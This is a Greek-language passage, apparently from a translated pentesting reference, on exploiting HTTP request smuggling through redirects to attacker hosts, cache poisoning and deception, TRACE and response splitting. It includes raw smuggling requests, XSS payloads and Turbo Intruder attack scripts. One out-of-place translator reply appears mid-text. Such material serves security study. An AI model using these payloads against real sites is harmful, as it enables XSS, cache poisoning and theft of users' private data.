Στο this writeup, αυτό εκμεταλλεύτηκε με ένα request smuggling και ένα vulnerable endpoint που θα απαντήσει με την είσοδο του χρήστη για να smuggle ένα request με HTTP/0.9. Η παράμετρος που θα ανακλαστεί στην απάντηση περιείχε μια ψεύτικη HTTP/1.1 response (με headers και body) έτσι ώστε η απάντηση να περιέχει έγκυρο εκτελέσιμο JS code με Content-Type text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Οι εφαρμογές συχνά κάνουν redirect από ένα URL σε άλλο χρησιμοποιώντας το hostname από το header Host στο redirect URL. Αυτό είναι συνηθισμένο σε web servers όπως Apache και IIS. Για παράδειγμα, το αίτημα ενός φακέλου χωρίς trailing slash έχει ως αποτέλεσμα ένα redirect για να προστεθεί το slash:

GET /home HTTP/1.1
Host: normal-website.com

Οδηγεί σε:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Αν και φαινομενικά ακίνδυνη, αυτή η συμπεριφορά μπορεί να εκμεταλλευθεί χρησιμοποιώντας HTTP request smuggling για να ανακατευθύνει χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Αυτό το smuggled request θα μπορούσε να προκαλέσει το επόμενο επεξεργασμένο αίτημα χρήστη να ανακατευθυνθεί σε έναν attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Έχει ως αποτέλεσμα:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript υποκλέπτεται. Ο επιτιθέμενος μπορεί ενδεχομένως να θέσει σε κίνδυνο τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.

Εκμετάλλευση Web Cache Poisoning μέσω HTTP Request Smuggling

Το Web cache poisoning μπορεί να πραγματοποιηθεί εάν κάποιο στοιχείο της υποδομής front-end κάνει cache περιεχόμενο, συνήθως για βελτίωση της απόδοσης. Με την παραποίηση της απάντησης του server, είναι δυνατό να poison the cache.

Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του server μπορούν να τροποποιηθούν ώστε να επιστρέφουν 404 error (ανατρέξτε στο Basic Examples). Παρομοίως, είναι εφικτό να ξεγελάσουμε τον server ώστε να επιστρέψει το περιεχόμενο του /index.html ως απάντηση σε αίτημα για /static/include.js. Κατόπιν, το περιεχόμενο του /static/include.js αντικαθίσταται στην cache με αυτό του /index.html, καθιστώντας το /static/include.js μη προσβάσιμο στους χρήστες, πιθανώς προκαλώντας Denial of Service (DoS).

Η τεχνική αυτή γίνεται ιδιαίτερα ισχυρή αν εντοπιστεί μια ευπάθεια τύπου Open Redirect ή υπάρχει on-site redirect προς ένα open redirect. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το cached περιεχόμενο του /static/include.js με ένα script υπό τον έλεγχο του επιτιθέμενου, ουσιαστικά επιτρέποντας ένα ευρείας κλίμακας Cross-Site Scripting (XSS) εναντίον όλων των clients που ζητούν το ενημερωμένο /static/include.js.

Below is an illustration of exploiting cache poisoning combined with an on-site redirect to open redirect. The objective is to alter the cache content of /static/include.js to serve JavaScript code controlled by the attacker:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Σημειώστε το ενσωματωμένο request που στοχεύει το /post/next?postId=3. Αυτό το request θα ανακατευθυνθεί στο /post?postId=4, χρησιμοποιώντας την τιμή του Host header value για να καθορίσει το domain. Με την αλλαγή του Host header, ο attacker μπορεί να ανακατευθύνει το request στο domain του (on-site redirect to open redirect).

Μετά από επιτυχημένο socket poisoning, πρέπει να ξεκινήσει ένα GET request για το /static/include.js. Αυτό το request θα μολυνθεί από το προηγούμενο request τύπου on-site redirect to open redirect και θα προσπελάσει το περιεχόμενο του script που ελέγχεται από τον attacker.

Στη συνέχεια, κάθε request για το /static/include.js θα εξυπηρετήσει το περιεχόμενο που είναι αποθηκευμένο στην cache από το script του attacker, εκτοξεύοντας ουσιαστικά μια ευρεία XSS επίθεση.

Using HTTP request smuggling to perform web cache deception

Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;

• Στην web cache poisoning, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.
• Στην web cache deception, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στην cache, και ο attacker στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache.

Ο attacker δημιουργεί ένα smuggled request που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένου χρήστη. Εξετάστε το ακόλουθο παράδειγμα:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Αν αυτή η smuggled request μολύνει μια cache entry που προορίζεται για static content (π.χ. /someimage.png), τα ευαίσθητα δεδομένα του θύματος από /private/messages μπορεί να αποθηκευτούν κάτω από την cache entry του static content. Συνεπώς, ο attacker θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα cached sensitive data.

Κατάχρηση TRACE μέσω HTTP Request Smuggling

In this post προτείνεται ότι αν ο server έχει τη μέθοδο TRACE ενεργοποιημένη, θα μπορούσε να είναι δυνατό να την καταχραστεί κανείς με HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα αντικατοπτρίζει οποιοδήποτε header σταλεί στον server ως μέρος του body της response. Για παράδειγμα:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Παρακαλώ επικολλήστε εδώ το περιεχόμενο (π.χ. το αρχείο README.md) που θέλετε να μεταφράσω. Θα μεταφράσω τα σχετικά αγγλικά στο Ελληνικά διατηρώντας ακριβώς την ίδια markdown/HTML σύνταξη, και χωρίς να μεταφράσω κώδικα, ονομασίες τεχνικών, πλατφόρμες cloud, links, paths ή ειδικά tags/refs όπως καθορίσατε.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Ένα παράδειγμα για το πώς να καταχραστείτε αυτή τη συμπεριφορά θα ήταν να smuggle first a HEAD request. Αυτό το request θα απαντηθεί μόνο με τα headers ενός GET request (Content-Type ανάμεσά τους). Και να smuggle immediately after the HEAD a TRACE request, το οποίο θα αντανακλά τα αποσταλμένα δεδομένα.
Καθώς η HEAD response θα περιέχει ένα Content-Length header, η response του TRACE request θα αντιμετωπιστεί ως το σώμα της HEAD response, επομένως αντανακλώντας αυθαίρετα δεδομένα στην απάντηση.
Αυτή η απάντηση θα σταλεί στο επόμενο request μέσω της σύνδεσης, οπότε αυτό θα μπορούσε να χρησιμοποιηθεί σε ένα cached JS αρχείο για παράδειγμα για να εισάγει αυθαίρετο JS code.

Κατάχρηση του TRACE μέσω HTTP Response Splitting

Συνέχοντας το this post προτείνεται ένας άλλος τρόπος καταχρήσης της μεθόδου TRACE. Όπως αναφέρθηκε, smuggling a HEAD request και ένα TRACE request είναι δυνατόν να ελεγχθούν κάποια αντανακλώμενα δεδομένα στην απάντηση στο HEAD request. Το μήκος του σώματος της HEAD request υποδεικνύεται βασικά στο Content-Length header και σχηματίζεται από την απάντηση στο TRACE request.

Επομένως, η νέα ιδέα είναι ότι, γνωρίζοντας αυτό το Content-Length και τα δεδομένα που δίνονται στην απάντηση του TRACE, είναι δυνατόν να κάνετε την απάντηση του TRACE να περιέχει μια έγκυρη HTTP response μετά το τελευταίο byte που υποδεικνύει το Content-Length, επιτρέποντας σε έναν attacker να ελέγξει πλήρως το request προς την επόμενη response (το οποίο θα μπορούσε να χρησιμοποιηθεί για να εκτελέσει cache poisoning).

Παράδειγμα:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Θα δημιουργήσει αυτές τις απαντήσεις (παρατήρησε πώς η HEAD απόκριση έχει Content-Length, κάνοντας την TRACE απόκριση μέρος του σώματος της HEAD και μόλις το HEAD Content-Length τελειώσει, μια έγκυρη HTTP απόκριση smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Εξοπλίζοντας το HTTP Request Smuggling με HTTP Response Desynchronisation

Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε; Δοκιμάστε αυτές τις άλλες μεθόδους εκμετάλλευσης:

HTTP Response Smuggling / Desync

Άλλες τεχνικές HTTP Request Smuggling

• Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

• Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Από https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Από: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Εργαλεία

• HTTP Hacker (Burp BApp Store) – οπτικοποιεί τη συνένωση/πλαισίωση και τη χαμηλού επιπέδου συμπεριφορά του HTTP
• https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος σε γραμματική, χρήσιμος για την εύρεση ασυνήθιστων αποκλίσεων request smuggling.

Αναφορές

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
• Προσοχή στο false false‑positive: πώς να διακρίνετε το HTTP pipelining από το request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
• https://http1mustdie.com/
• Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
• PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync